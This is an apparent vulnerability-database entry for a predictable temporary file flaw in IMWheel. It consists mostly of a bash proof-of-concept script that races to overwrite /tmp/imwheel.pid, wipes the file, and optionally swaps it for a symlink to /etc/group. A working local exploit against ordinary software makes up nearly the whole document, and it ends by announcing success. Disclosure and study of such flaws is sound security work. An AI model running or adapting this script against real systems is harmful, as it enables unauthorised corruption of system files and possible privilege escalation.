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IMWheel Predictable Temporary File Creation Vulnerability

No exploit is required.
The following proof of concept is available:
#!/bin/bash

# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000

echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done

# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid

# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid

echo "Exploit Successful!!!"